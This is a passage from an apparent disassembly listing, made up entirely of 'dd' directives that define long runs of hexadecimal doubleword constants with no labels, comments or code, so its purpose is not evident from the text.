		dd 0BA7869AAh, 5A7B60C0h, 0BC03013Eh, 1DD1C1FDh, 0B8F280E0h
		dd 3383D1Ah, 0BF5324h, 0DE320888h, 593C28F1h, 94EC0095h
		dd 2ED91397h, 7AA600D3h, 0D900F9Bh, 5800DDA0h, 1E3F1676h
		dd 0F8FC27h, 0E132964Eh, 0B31246C7h, 8190F900h,	3191B80Bh
		dd 0A9491D8Bh, 883B07DEh, 0E342D075h, 7F001CFBh, 0E824E5C3h
		dd 0D5D7AAh, 0C73A1947h, 0E2BB5FAFh, 0A8860917h, 64503800h
		dd 73507B0h, 0FD95FC0Eh, 5844F0F4h, 0D60024CFh,	0F66059D8h
		dd 5C668874h, 767D65h, 955D6252h, 8D2FF380h, 0B904C20Fh
		dd 2C47004Ah, 67A7Fh, 69A440E7h, 0D739082h, 0B4E4A87Eh
		dd 0E9796C00h, 0DEE22DF5h, 2EDC0E1Eh, 0F8A064F3h, 8EEEC396h
		dd 0A339DD00h, 6AB1CCFAh, 7DC407EFh, 93FBBE9Ah,	0CBF8E4A9h
		dd 0D3012204h, 0F8BFDEE7h, 4DE04664h, 65ED0185h, 0FA0AF48Ah
		dd 43DAFC9Eh, 6C0C0E01h, 1EE7F2D8h, 1D4531E8h, 4057B264h
		dd 1D3DD20Ah, 0EF039E17h, 0D6B33C01h, 52BAE814h, 9C971CF7h
		dd 0C3E48096h, 21FBCC61h, 404AC0A0h, 0D26C3B00h, 7371F91Bh
		dd 9F3C0043h, 99D11E5Fh, 0DD2C425Ch, 5107FB9Dh,	5220578Bh
		dd 7D5D85h, 7EBF3D74h, 5BE63AACh, 0E0DE2100h, 0AAF5D998h
		dd 0B45E0348h, 0ABFB8089h, 83FC83A1h, 3F05A0B4h, 3626D886h
		dd 1C161E33h, 0A147C097h, 0F6615A58h, 0FFB02700h, 0E2BC5D87h
		dd 658E0211h, 7DF26231h, 1007BC80h, 630ED06Fh, 40B77F22h
		dd 6A5AA3BFh, 68AD0095h, 704CC856h, 0D03B2401h,	3C930686h
		dd 1003C5h, 0DD265D48h,	6A057408h, 3338A00Ah, 73888D7h
		dd 0FDE537FAh, 8AC10EF0h, 0EA790799h, 33BA2610h, 6CC897FCh
		dd 0B0933CDh, 0F967E3h,	69D94D2Ch, 1DA42413h, 8C7D025Ch
		dd 415D8451h, 0E841BC60h, 5C20225Dh, 2EB8F5h, 887864DFh
		dd 2A4A3239h, 205D0D09h, 9054004Bh, 7D91D36h, 0E65A4FFDh
		dd 22A101Fh, 0AE009B8Dh, 543D9582h, 0E88A7C0Bh,	0A3461278h
		dd 648800E3h, 0D1A41DFh, 88630C00h, 0E0759CAAh,	2DF30006h
		dd 127015B4h, 32769520h, 6BE3FD0Ah, 4600BBF6h, 4A19CE82h
		dd 0E752008Eh, 50371E1Ah, 0C301694Fh, 783E6889h, 0D3E094F0h
		dd 841205CDh, 0F99F2Dh,	2F4CEE9Ch, 327B7D98h, 3F78CE00h
		dd 4A929AE0h, 7FB60425h, 80FA313Eh, 0EC6FA6F8h,	61A56300h
		dd 99A765EAh, 5FFE72h, 9542E8DBh, 2571C497h, 34AAF604h
		dd 249982BAh, 426FE0h, 0B5287F66h, 0F61E846Ch, 0A79138h
		dd 760C2FFFh, 4864A6E8h, 6202203Bh, 383FF033h, 232BEC80h
		dd 0C000F9E9h, 0F76AEC2Eh, 141C19DAh, 0D05CA1EDh, 326D1E79h
		dd 8B0B8098h, 25413079h, 2C0F3EF2h, 0C0B72788h,	0C37DF90Ah
		dd 6AB60F57h, 5C45EFC0h, 0A429818Eh, 0E978D4A7h, 0C14B3400h
		dd 0AFB3DC0Fh, 78F7768h, 40F4F329h, 6CC01FC5h, 0D8C0BC3Ah
		dd 13E7100Eh, 0E9F280C3h, 4A198B0h, 0B3B72BA8h,	94880DEh
		dd 2D00EF31h, 0E01548F7h, 0F6B8DDAAh, 0CD48C08Ch, 901F7F0Dh
		dd 0C2D02A0Eh, 0EADD4095h, 91F18Ah, 73806B13h, 52497D11h
		dd 0ABD80B1Fh, 78A2B140h, 0CD30AEh, 73555FEh, 0F0A57F91h
		dd 1FE0EB75h, 81F71600h, 8BED4C43h, 4637E40h, 0E16818C2h
		dd 0E542C227h, 610B8583h, 0D06F69C1h, 1A00A7C5h, 62AA8D6Bh
		dd 0F429863h, 0CC73D34h, 0D06C8960h, 972CC685h,	0F316008Ch
		dd 0A9C9A00h, 0AA2E5B1h, 5347BEF1h, 4E5102C8h, 5F43B78Fh
		dd 2CCB288h, 30B05E50h,	5B8C5709h, 60088005h, 35051F4h
		dd 2668F5F6h, 40714492h, 609FA71h, 872C1895h, 3897DD30h
		dd 0D7CAD000h, 4A492C44h, 0B991007Ch, 1641CFEEh, 5728E300h
		dd 9B3E6D04h, 3C9881h, 0B297F6D0h, 0EFDBD9A4h, 25AD3D00h
		dd 2F298E3Bh, 0B7A205BAh, 80C0EE56h, 46B24E73h,	54D34800h
		dd 0CC36E13Eh, 0AF1100FAh, 0BDE22818h, 0B306857Fh, 0F3F28356h
		dd 1FBF4280h, 884048D3h, 0A61786E3h, 0BAC6020Fh, 4F57EFE6h
		dd 0C4272161h, 0E0003681h, 0D9F917FBh, 4F32E1BBh, 2D24F031h
		dd 0B73F8300h, 0C09DCB81h, 0A1759Ch, 0D58D2BE8h, 86169793h
		dd 9EF63A00h, 7EBDC225h, 802600DDh, 56B4D0C3h, 0B00EE511h
		dd 0A7CFE6ACh, 0C00F7EAFh, 36923706h, 0EB351D24h, 21C5408Bh
		dd 0E66FF98Fh, 0D04EF503h, 8FA4CD28h, 0EB7A0B50h, 0ACD30074h
		dd 1CF2023Eh, 960714EAh, 0B012E3D1h, 0CF13E6D0h, 8A3D4h
		dd 0F67C9D09h, 13185FBEh, 31A5E500h, 34B1B8FDh,	7BC7D09h
		dd 0FAC047C7h, 4EF69335h, 8F1C9DA8h, 0A44FAE26h, 20FD803Eh
		dd 141B11FFh, 9FAB0E0Fh, 0E280A9BAh, 71C3BBCAh,	2B29A71Dh
		dd 0BDDADF81h, 13207C31h, 7101E085h, 8DAB0080h,	5E624507h
		dd 33075C9Ch, 42184B11h, 4AEAC900h, 9F0E1203h, 35BB00AFh
		dd 0CCF96938h, 0DB433300h, 0B56E9BDDh, 78E5004Ch, 0CA19FCFh
		dd 0F6F6F47Dh, 90287676h, 3E02F9A8h, 0B38DE21Ah, 3BC40ECh
		dd 0EE3300A1h, 0E821A7DEh, 2400AE04h, 25A3DB4Fh, 5FD884h
		dd 98768059h, 0AAEC8326h, 0E61F51F8h, 5E402F8Ch, 5D74077Dh
		dd 71B10470h, 18DC83Fh,	87F311D1h, 3C1FBC72h, 40F81F3Dh
		dd 8DE65DDBh, 5B00F573h, 1413EF2Fh, 0F04EFBh, 0A3420B49h
		dd 0AD9FC8DBh, 90707C79h, 0FCCF20Eh, 6092C437h,	9904B881h
		dd 3D84E0EEh, 0EA100A68h, 0C850C5h, 2CCB3C69h, 0FA3EA11Bh
		dd 70261C58h, 0A584803Fh, 0D4F1A9E9h, 0AEEA052Ah, 0C9E84FC9h
		dd 0FD1E308Ch, 0E3BBE02h, 8083D428h, 4B4CDF8h, 54EA26D9h
		dd 0EE7D04A9h, 6E988055h, 3006751Ah, 8F827A1Eh,	0DDF803A8h
		dd 0A59E73A0h, 8010F497h, 0A8097408h, 0CA0911D8h, 0A3520271h
		dd 79403EE5h, 7D48D860h, 6638FF00h, 0A43C2C90h,	3A3618ECh
		dd 41AE8882h, 0C0308F59h, 6669B60Fh, 39951D31h,	424DC4A3h
		dd 3834C006h, 0BE090B8Eh, 39F63DAh, 0F4900299h,	56CA0h
		dd 0CD29DDA9h, 0C3986EA6h, 3ED2FB00h, 96F217B0h, 0A59B28F3h
		dd 0B6C50398h, 0D9064EB2h, 0F40745E8h, 8600CBECh, 0D75AB067h
		dd 212DFDEh, 6EE2D50Bh,	7A40C901h, 0B9002D38h, 0F9BDF761h
		dd 0CB8FE20h, 79F18A2h,	420E26A0h, 63BC7257h, 90767459h
		dd 487B6982h, 0BA302873h, 0D90D3409h, 366048h, 875CA73Dh
		dd 3A5FB353h, 943A2733h, 9F751500h, 800E7288h, 0B0E45100h
		dd 0C2E7120Dh, 0FB3E3E50h, 388E097Fh, 0DC20BDB3h, 67427531h
		dd 0D6882750h, 6316BE00h, 6C194BB7h, 6F5A0192h,	5B36A7FCh
		dd 0E852D834h, 0C05538C0h, 0AEB6621h, 80BFD1C7h, 2A413FCh
		dd 86482458h, 8BB9A4C0h, 463C2074h, 5AD08080h, 7E750170h
		dd 0A8BC00C3h, 73777C8h, 823DC56Ch, 0C6668058h,	0D2E97EF9h
		dd 1E86F67Fh, 43B4F87Bh, 7AAF9D33h, 0C38BB0F0h,	108F1A00h
		dd 54F39AD8h, 52F91EFAh, 0D6DE49DCh, 9B22880h, 2A005937h
		dd 0C32F025Fh, 5041EDECh, 2B9898h, 52E78521h, 0BA5DB16Eh
		dd 0BF82F500h, 0ED80ECC5h, 8F1100C7h, 81FF26D8h, 9C773D9h
		dd 0E880386Dh, 908CF83Fh, 141A0005h, 102E51EDh,	0BF00191Ch
		dd 1BD30B54h, 2AD8738h,	5C972B85h, 6760DE79h, 0E5F8AA9Dh
		dd 0E80B9001h, 0C9CAD68Bh, 2BD6BE8h, 1523D75Dh,	52600E3Ch
		dd 6E0E814Bh, 45DA1Bh, 54AB1689h, 427A0257h, 12649547h
		dd 0A5A312C0h, 8C082102h
		dd 805E3881h, 7DC12BB7h, 0E63B0E34h, 96834EC4h,	33E07A9Ah
		dd 0F501AD88h, 88B868Fh, 3DD46BDAh, 51FB000Bh, 0E841E234h
		dd 8C00F545h, 36B9440Fh, 0C0A2C623h, 653816A0h,	31009D95h
		dd 269F5B67h, 0B29234h,	0A7336F39h, 59EF9B25h, 7E707A07h
		dd 88401B8Bh, 736E1189h, 364A1D90h, 80007A53h, 0EBEFCD97h
		dd 0B0000A33h, 42F17314h, 7F758191h, 9C673E1Eh,	97A2B48h
		dd 0B660AEFEh, 0A343E500h, 84002498h, 0EEAA93FFh, 6F1B54h
		dd 0B7B5AED1h, 11C2FE4Ah, 9C06D40Bh, 84DA8018h,	2A68DC6Bh
		dd 3C89DB1h, 1CC33670h,	6EA01DEBh, 8D283C81h, 5301B488h
		dd 0A8ED6552h, 76E883CDh, 7B8900D1h, 4B215915h,	740F3FAFh
		dd 3DABF78Bh, 0DD275F81h, 0A9E8A2A4h, 6887032Ah, 6B5CAD5Eh
		dd 8125DE8h, 0BDF63607h, 97104942h, 399AF73Eh, 87240788h
		dd 91240255h, 0B48E0868h, 1EDB8D81h, 5AA5FC93h,	41331500h
		dd 47CBC3BCh, 0B7C9004Ah, 0CDC4D7DCh, 0DE0021A1h, 260B153h
		dd 1A7C0E3h, 89183B8Ch,	0C8CBD383h, 0E40250A1h,	0B4D12962h
		dd 5D84826Bh, 52B8A0AEh, 92D0EC5Fh, 9222283Ch, 7A9C00D5h
		dd 5640EB1Fh, 5C0FF723h, 0E5D268A2h, 0C400DE85h, 776A5D58h
		dd 0AA381DE7h, 0E1274E41h, 1361A42Fh, 3A0D6DC1h, 0DF0C9100h
		dd 0FC06C9h, 38820BEBh,	0E19A5598h, 0A661FD1Dh,	43F3FA80h
		dd 613C990h, 0C5A58E59h, 0A3FCA8DFh, 3FAE93Fh, 3EF8FF9Dh
		dd 3D45879Ah, 0FC090818h, 0DA6B00CEh, 447E368Ah, 0E80E7C53h
		dd 0A0588F40h, 0BA593A4Bh, 0D7A6002Fh, 89B66F9Fh, 0F100F099h
		dd 0EF5A2673h, 0CB257Ah, 0A1419257h, 8A8B235Dh,	0A96B4500h
		dd 80C47C04h, 0D6403D9h, 0C9107820h, 0FEFD4C8h,	0D3DBAA00h
		dd 0C5E7FB53h, 92F49Ah,	952D5D37h, 0A4BA4182h, 62A52C00h
		dd 0CCA602F2h, 721CF6E6h, 380A00D2h, 22824D0Dh,	6300695Eh
		dd 37230E4h, 927133h, 741EB6FEh, 98A2C570h, 0B4B8891Dh
		dd 0C87A6FC2h, 0DDBA804Ah, 1E88818Ah, 7B4E51AFh, 90E0BBBDh
		dd 39FAA387h, 4A0023EEh, 2714A4B7h, 5D631Bh, 0B67032D8h
		dd 585CDEF6h, 0C16E9100h, 5B352A7Fh, 146D3E92h,	0EC550076h
		dd 39EF067Ch, 46006451h, 2CF41849h, 0EA4EB5h, 0AE17C66Dh
		dd 0D5DB2F9Bh, 2808A512h, 0E8D23A02h, 0B9988067h, 41647Dh
		dd 43627BCCh, 0EA6342B6h, 0AE4F8007h, 0AAA0B1E7h, 3A73EBh
		dd 66CE462Fh, 18C44C2Eh, 0CB002990h, 7EB72870h,	0E59273h
		dd 14997DECh, 0D6096D96h, 0B6B9FC1Fh, 22BCF8C0h, 0A00512h
		dd 8FC126BEh, 1056366Eh, 0D346BF07h, 606F8DA3h,	0C047819Bh
		dd 57D900CEh, 3CB0940Eh, 60006BDEh, 1AB36D77h, 0A2828Ah
		dd 0F4CF39FCh, 0DAFB931h, 0C8292F28h, 0C9049h, 80E12DB7h
		dd 3BAE1EC4h, 9400C562h, 0A72F5E05h, 1B014C8Eh,	701FB668h
		dd 40EA95BFh, 802308h, 5D3E2FC9h, 3C98963Ah, 0A78D717h
		dd 2E921E00h, 1DFB107h,	26CF30D3h, 8020B887h, 84E70D78h
		dd 0E44F41h, 2C1E60E1h,	0EF8F4CB4h, 0CFAE2500h,	9CBD7313h
		dd 0DAE8FD08h, 805200B3h, 6E5F3A99h, 0F400D1E3h, 0BCABB9FBh
		dd 28C42C47h, 24D47139h, 484F0F2h, 802F935Ah, 847D829Ah
		dd 739C5200h, 12ACD5D0h, 12B5F418h, 1E1CE06Ch, 0BA6F0040h
		dd 92070D1Bh, 8025043Dh, 0BB6BD2AEh, 488039h, 37C664C8h
		dd 0E384A579h, 0F0B60A0Ch, 0DE2824h, 1E6AEF57h,	0CE7CA363h
		dd 12AD1100h, 8CA4BC83h, 0D6BE00CCh, 8EF509EDh,	5D002326h
		dd 636F2CE7h, 42B0F6h, 1E2544A5h, 84C6E2D2h, 60078A70h
		dd 0BB76E3F0h, 883A7700h, 0A065F899h, 3E5AA0h, 41519FD3h
		dd 7A5395E1h, 660084F0h, 6B8DC868h, 3CE9DC64h, 0C051809Dh
		dd 0CD32E0FBh, 3ADB0012h, 3DC28AE5h, 38008844h,	0E435985Ah
		dd 75F5D269h, 5A902BEh,	4B1D4AB4h, 7B839080h, 0D700C04Fh
		dd 5BD5F4A1h, 12758809h, 0D28A44h, 0D43DB9D4h, 4498D03Bh
		dd 0D6042700h, 348F547Bh, 18EF8C7h, 8938566Ah, 0F0E1FE42h
		dd 0DF0998B1h, 20E56654h, 8629AF0Ch, 8A200FAh, 69F41E7h
		dd 6290DA07h, 0C79E9800h, 8F4D6CB1h, 61C8035Ah,	58F64F68h
		dd 0A90019EBh, 2652777Fh, 0F4D0BD6h, 0AE2B1C1Dh, 2043F560h
		dd 4A00043Eh, 0F9FB5075h, 7969CFFh, 8F0273DDh, 2F840051h
		dd 3A50FC4Dh, 9C00AED3h, 30DFC104h, 6098F44h, 4FE99D39h
		dd 604DB00Dh, 9F4214B4h, 0D1D00040h, 44A061E6h,	0C31200FFh
		dd 415302D7h, 20001E42h, 4A97716Ch, 91C93Dh, 11B02629h
		dd 28D304FEh, 8C578201h, 0FA5342F9h, 2AE0834h, 941A90Bh
		dd 806049BDh, 510098CAh, 0F2EC0A7Dh, 1330B88h, 0A2A02B02h
		dd 3031E352h, 2703FC77h, 669A7778h, 7CB2F3FFh, 160500A0h
		dd 3763CACh, 3200BAA6h,	0DCF1FFB3h, 1A35FB5h, 0A552FE38h
		dd 0F0EEC737h, 0F0A0E228h, 7200D906h, 44D7FFC2h, 9FF0D44Ch
		dd 86D55FC0h, 2A0275F8h, 0C7E2CD6h, 0FC90801Ah,	304C55h
		dd 164A5FF2h, 194B54E4h, 8008E551h, 0C648A609h,	30E785h
		dd 0EFD87CAh, 0AD183C4h, 0E8B583Fh, 0E566163Bh,	7C80A24Ah
		dd 0B26D2545h, 3E7F0578h, 0E87697CBh, 4FB900F1h, 8257D68Dh
		dd 2E40053Ah, 0C0735BF3h, 6A9A052h, 0FCA5C000h,	0CA678B38h
		dd 89348E4h, 3180473Ah,	5C27169Dh, 0A3126257h, 0F00026E2h
		dd 0CA1A8CF4h, 0DF073936h, 0A650A02Dh, 5771900Eh, 0B765E060h
		dd 0B95681h, 5889456Bh,	87DE75BAh, 2A1FC704h, 0DC80A5E1h
		dd 48A96120h, 0A8005CFAh, 59EEB19Eh, 5700F8F0h,	6E66B549h
		dd 3AC221A2h, 741706E1h, 0FA730061h, 76F3AF36h,	18782A00h
		dd 0A13BEED2h, 107400FDh, 40A0C16h, 697365FBh, 9600BA7Eh
		dd 42917DEDh, 7B5AAEBh,	666CCFE9h, 919B5F7h, 601075D0h
		dd 0A600E54Eh, 5422D7EEh, 0C1D917h, 0F289694h, 0DFFF56C4h
		dd 8E47C80Bh, 0AFD821E9h, 0C1E07967h, 8A731FADh, 864D6h
		dd 6003DD5Dh, 6F003050h, 0A94493E3h, 790F547h, 6E08870Fh
		dd 274031B6h, 95832010h, 0F64D7100h, 0E78AE0B8h, 0B04849ADh
		dd 0CD943800h, 3CCE4FF1h, 264D7A01h, 44789D6Eh,	0BE6CCF40h
		dd 5D9C03CCh, 63B1768Ch, 5FC51DF0h, 9962B600h, 6481DAEDh
		dd 8CC3185Eh, 631790D9h, 8BE8D85Eh, 722C5A0Fh, 242CCCB5h
		dd 0F4CDF01Ch, 45796461h, 0BF718915h, 5860FAEDh, 1D9B0E34h
		dd 1039F233h, 10ABF0DDh, 0DE98D100h, 1BCCF670h,	0F19D06EAh
		dd 4843CBD2h, 0BC309703h, 0C7ABBF4Ah, 0F3D738C0h, 3A5900EDh
		dd 8CEE1290h, 3C04F9A5h, 0FC27C96Dh, 0C22CCC83h, 0ADB8C044h
		dd 6E42053Dh, 0EA541345h, 0C0EAC3C0h, 37690190h, 0D38E3CB6h
		dd 0B13FF8F3h, 10454407h, 58F0CA84h, 5C7490D4h,	7D90B5h
		dd 0AE24CBC7h, 0BBAD2B17h, 0A378C800h, 0AC2BE2Dh, 7DC30C60h
		dd 3519B3A4h, 0B959C600h, 280B9113h, 0B6740AD5h, 0A4628Ch
		dd 4D112BDDh, 1600D9E9h, 9830FB4Fh, 262DE166h, 80EC5393h
		dd 12E6B077h, 0C474D2C2h, 221580Bh, 7D648EFBh, 0E7005B56h
		dd 0B4BFD0D5h, 0C4BB01A3h, 2BB933F6h, 0D165D0B5h, 25003D7Ah
		dd 0D5829C8Ah, 0F9BDA0Fh, 0EF544EE1h, 2B77A9E0h, 0DE1E859Fh
		dd 0D6022D0Eh, 0E024F708h, 481C51F0h, 3B1D4986h, 7550418Ah
		dd 0E452441Dh, 0E2043A28h, 291057C4h, 18607380h, 0F5C55CC1h
		dd 80267700h, 3FF2ED66h, 801A043Fh, 0E39D75FBh,	0FCE41F0h
		dd 0A2C8025Eh, 10E75820h, 0D3002C8Dh, 8583D1A9h, 0F5179E7Eh
		dd 0CC35007Ah, 0E13DC088h
		dd 7C6CF800h, 0F00F0C5Ch, 18357896h, 0D07AB472h, 0A80734F3h
		dd 0A93350C5h, 41E2B9F0h, 0AFF900CBh, 0A4E1C99Eh, 9D0091D7h
		dd 9B07E824h, 0E3DB54h,	53A81669h, 8DA3D209h, 73CADA01h
		dd 7CA229C4h, 0C0608CC5h, 0C88801AAh, 89BB7BB4h, 0A9EAC078h
		dd 0E2108202h, 8714DAF4h, 7500B1E3h, 7332DB5Eh,	0EBB90F03h
		dd 680090ECh, 0CA92F0A2h, 0AAE7BD02h, 75D5C7EFh, 22D20240h
		dd 6400FFE8h, 0AB2316EEh, 0D6182h, 5D1B9DA8h, 54421C40h
		dd 481A5A00h, 472C8F56h, 0FC22F459h, 15B7016Eh,	2180103Ch
		dd 0F0916153h, 5507E1E5h, 2DD86D24h, 5A477010h,	0FBB40352h
		dd 797CC549h, 0DEC6CEE9h, 0FFD56E40h, 35BE3A00h, 0CD0D9A95h
		dd 47F717EBh, 0CCB500CEh, 0FB1AE09Bh, 7708EA00h, 3FBC9554h
		dd 203EAFDh, 0F55F7A5h,	3840E628h, 3050E927h, 2EECEDABh
		dd 38D88B0Ah, 0BA00B896h, 34DD5F1Bh, 0D90400A3h, 88838579h
		dd 59181A10h, 0C2293111h, 19CB1873h, 5A7D117Eh,	0E66F810Eh
		dd 8CE5A0FDh, 31D0355h,	294184E9h, 0C4A84EBDh, 0A090022Eh
		dd 0F8AA3A00h, 8793B77Dh, 0C234007Eh, 0FA84AD81h, 0DB076BD2h
		dd 971EC5C8h, 0D83F240h, 7BAA00F1h, 704B1A78h, 4D07949Eh
		dd 0EF51555Dh, 0B580E9A0h, 0EF3F44Ch, 0E3FC4A42h, 7926CA03h
		dd 0E4B8C480h, 0F19AEF12h, 0E224C844h, 0D9413700h, 211EAF52h
		dd 8E3F6DCFh, 879432F9h, 0C2401E20h, 27ADBh, 24D5FC8Eh
		dd 0E993D8DFh, 8AC46B07h, 29209CC0h, 46A272h, 79D0D81h
		dd 0E675D986h, 719A5400h, 0D091C7B5h, 0E91C0069h, 34B25617h
		dd 47B887BEh, 6F24A900h, 0F7F61EFh, 0C33B008Dh,	3417821Fh
		dd 4C24A80Bh, 9700301Bh, 993F08CEh, 66F04Dh, 0EF074423h
		dd 0B6E66BE7h, 725D3Dh,	0C56C0115h, 0FD21EBDh, 7F3DA826h
		dd 416E8941h, 0C0402192h, 6300741Fh, 0F44E2A72h, 16DB56h
		dd 0F00EC1AAh, 910A0405h, 244C990Eh, 0E9EBC114h, 20302221h
		dd 0E5270264h, 0F58F72AAh, 0AB808C80h, 9D0029A5h, 3C12DC83h
		dd 7A72040h, 662D1556h,	50263038h, 0F3EB5E7h, 17538043h
		dd 499126Fh, 789C373Ah,	80760C0h, 2AF0A68Fh, 0FBEC38h
		dd 455E1C50h, 7B3471C7h, 93FE36h, 206490A8h, 91689CAFh
		dd 0D8ADBD00h, 0B977E2CCh, 99B200E4h, 0F9A2C71Bh, 51EC04EAh
		dd 0D631F000h, 85E6204Fh, 0D283001Ch, 0B636CE8Eh, 5713B29Ah
		dd 6870CDBFh, 0F94AF87h, 84B4F430h, 86E4805Ch, 39C28A26h
		dd 0C183B500h, 0DFB7483Ch, 98CB4C1Dh, 47D01B07h, 97FC61E8h
		dd 0C62BDC12h, 66A8EE07h, 982C5028h, 0FEA01B9Dh, 15C13097h
		dd 1393ECABh, 75749B7Fh, 59C3114h, 392B1410h, 0BB9E171Ch
		dd 0BDA8620Fh, 3183E300h, 18791233h, 64346B91h,	643E725Ch
		dd 621D04FFh, 798015D5h, 3932B79h, 8AD4B8C7h, 66C37856h
		dd 0CAAD89D8h, 117B3900h, 6E46C783h, 63EA92h, 481B9E21h
		dd 89A67196h, 984AAA00h, 681F0C2Bh, 826D01CBh, 532978C7h
		dd 0FE8FE428h, 0C172DD00h, 8E99A37Dh, 76F883h, 733B7B2Fh
		dd 59543DD4h, 21D95A00h, 0FC4B57C6h, 0C2A9007Eh, 6E864AE2h
		dd 9628CAC9h, 0BA4CE534h, 95FF1578h, 15D60084h,	528FB743h
		dd 535127DFh, 0F53441E0h, 2BB8041Eh, 94F0E78Ah,	0B9AFDC07h
		dd 1E11385Ch, 0CA159F69h, 89A42D17h, 0C980991Ah, 552B912Eh
		dd 15B97100h, 0EA947BEBh, 0F0E8E3h, 59A0BCC0h, 2AB70E2Fh
		dd 9F0A9D00h, 0A6605450h, 0EE871EB2h, 0D772819Bh, 0BD9868F1h
		dd 1FEA77A9h, 0C32A5600h, 9A035879h, 27A60092h,	1B31DEF3h
		dd 2200E726h, 11EA153Ah, 6468165h, 50DC91B0h, 0A200494Ah
		dd 6D52AC9Ah, 214D74Bh,	54A1850Eh, 0B0604381h, 90009B2Fh
		dd 288E6405h, 0C22DFEEh, 1A80D150h, 21C19109h, 0BCEE5C6Eh
		dd 189F8F8h, 7BDAEF10h,	0A0C41Bh, 70827CAEh, 7C21E29h
		dd 0D50C4011h, 995E51CAh, 0BB244B03h, 0C055A83Ch, 21027Dh
		dd 980F9B67h, 0B634052Eh, 70499460h, 353407Dh, 46A071D7h
		dd 87E720Ch, 555021C0h,	1EF52340h, 595E74h, 624C4FDEh
		dd 0FC00866Dh, 654E06BAh, 188CEF12h, 68427317h,	67009280h
		dd 6A167AAEh, 18CCDAD6h, 595E62A0h, 671D7B90h, 28B7B3F7h
		dd 0D8C72580h, 0EB180F32h, 0C6349479h, 3164EC48h, 34E5C06Ch
		dd 0AC18846Fh, 6039AD14h, 992003E1h, 7D7608EBh,	82C9B5C8h
		dd 0C031B20Dh, 0C002A86Ch, 0EE27307Ch, 7822DE11h, 8C4784h
		dd 0B1EE5307h, 188E0619h, 4863FC3Eh, 0A113200Ah, 0B203AC9Eh
		dd 6BF111h, 531D618h, 0B526C865h, 980C3Fh, 18D76846h, 0FC850269h
		dd 0AE9048DCh, 501F8300h, 0D115921Eh, 0D8498A00h, 2263D20Fh
		dd 82C50007h, 7A170A47h, 6D0E9C2Fh, 0E0151483h,	0A0C24C0Eh
		dd 0B70B3A9Bh, 0CF540F78h, 0B337F7h, 49E52D89h,	0E67B0109h
		dd 0CB9B921Eh, 552906BAh, 42294638h, 0ACF311CEh, 111ABF11h
		dd 0CA213C01h, 42EB223Eh, 0FA5A11A3h, 112EE611h, 0A073E9E3h
		dd 89448F3Ch, 3A0D1122h, 75DB9C4h, 71E9796h, 94BE1041h
		dd 0AA00AB9Ah, 0F91F8E77h, 7A0AD260h, 926F0154h, 4D0CDF01h
		dd 68AAECACh, 11192900h, 6C7ECBFAh, 370800E1h, 337F8F14h
		dd 4B1C778Eh, 0E45D4CD1h, 8047B60Eh, 0FBC3AA12h, 0A89700B5h
		dd 70B81EABh, 7D00EF68h, 0C177620Bh, 0CFA5E8h, 28FB983Ah
		dd 0FAD91721h, 0D66D5F0Fh, 9C50800Fh, 0FA5BA46Ch, 0E1590398h
		dd 0F4C52D94h, 35712CA0h, 23970D00h, 9DCE1109h,	0D4FC5001h
		dd 0EE17F64Ch, 77DC008Ah, 593589D1h, 0BF01B9E6h, 0C2438E7Bh
		dd 0FCF4526Dh, 47FACAh,	37809490h, 0A934F982h, 3BE06500h
		dd 0D6E264BCh, 0EA7C0066h, 9F3C3176h, 6F00569Ah, 0C2EF3E1Bh
		dd 0ED2D09h, 5088FACCh,	226D3C18h, 930283FEh, 0B88F3D94h
		dd 224414Dh, 3A30D60h, 0D7BCAAE0h, 0B6C02678h, 0B703BB6Bh
		dd 0CA60E4D9h, 0F5C9B090h, 3210044h, 0AC73930Bh, 47001196h
		dd 9D45061Ch, 0FA35B0h,	18B75054h, 0D3620EE9h, 0CE91C11Eh
		dd 0F03D8079h, 0C513C057h, 92E20065h, 405DC321h, 187735E5h
		dd 0D9592401h, 52F52A0Ch, 387BC1C8h, 0AB9CE73Ah, 69C98742h
		dd 0F95563B2h, 0D6082E90h, 0F2126700h, 5AA01A81h, 0C9261241h
		dd 257101C2h, 0C5DD8462h, 0D094C437h, 32340700h, 7BE272F0h
		dd 4E1C0278h, 2A57822Ch, 0DD51817Dh, 8C40778Fh,	7C0C1Dh
		dd 263B78EFh, 7B351FBAh, 3F913817h, 370BC000h, 0E896E6A5h
		dd 1E0200F9h, 919BAA54h, 42FC74C0h, 0B96D3D00h,	98DDCEABh
		dd 0AAEB03EDh, 41B3889Dh, 6FC05090h, 3175E300h,	0AE018424h
		dd 0EC7200ADh, 0D31D76CCh, 0F8012CACh, 0B45F15FEh, 5630AB14h
		dd 51B109F0h, 8D0442E8h, 4B0C8074h, 8C018EEAh, 9A71CFA7h
		dd 143440AAh, 0F9CD0317h, 138A3D21h, 0FFF270AFh, 9F1D3884h
		dd 7D806B6Fh, 0ABED2DEh, 3B2100CFh, 0D3ED5EF0h,	3F3B1389h
		dd 9000F4D7h, 7767B0C9h, 79AB0C9Bh, 0E66E00A4h,	0AF11DD23h
		dd 0EE00943Ah, 5438AC80h, 7AAF427h, 188DA5A2h, 9F3A00C7h
		dd 810B3E6Ah, 10C07h, 2AB85EDFh, 9BF0F72Bh, 0E41500A5h
		dd 825AE2B7h, 65002489h, 23806FD0h, 0BBB891h, 9AB908BFh
		dd 0C375AEFFh, 0F8BE1316h, 0C554D203h, 0E5C0BFC9h, 5140DAh
		dd 317235B4h, 0D3AA534h, 0FA9FF000h, 17D8A7ACh,	1BBC015Fh
		dd 0C868EBD9h, 0E925D4C1h, 10E87730h, 1CD0F35Eh, 803FFD93h
		dd 0FF94125Ch, 0A8A0F6D6h, 0AF076D70h, 4B63EA5Fh, 0C3C49392h
		dd 8F378801h
		dd 72570047h, 0AEFD1BB8h, 1F006731h, 12BDC153h,	2FED80h
		dd 0E4BCFE8Ah, 0F5467DA4h, 0C4103A13h, 88585C00h, 7B92FBABh
		dd 2EDAE4DBh, 5CE162h, 0C8346FA5h, 8B015DCBh, 40070C98h
		dd 1C30D2CDh, 9E140075h, 5E24D3A0h, 0BB3DE088h,	0E9F90002h
		dd 10BC462Ch, 813600A9h, 1ED2758Dh, 2100F48Bh, 0CB2DBECEh
		dd 385E5859h, 0F780A674h, 3B3604CAh, 60FA58Bh, 0E5FD7B9Dh
		dd 0B08061E5h, 1F2EB0FBh, 8048B281h, 0FF24BBFCh, 0DCFF2297h
		dd 0F50041FAh, 3A92CED4h, 505C3643h, 0D598F4h, 0CBC9C17Ch
		dd 94872F37h, 0D19EA000h, 1F00CF3h, 0A42C002Dh,	6FB78698h
		dd 0DB00E644h, 65223F8Eh, 3C1DC8ABh, 50002ED8h,	0D6212027h
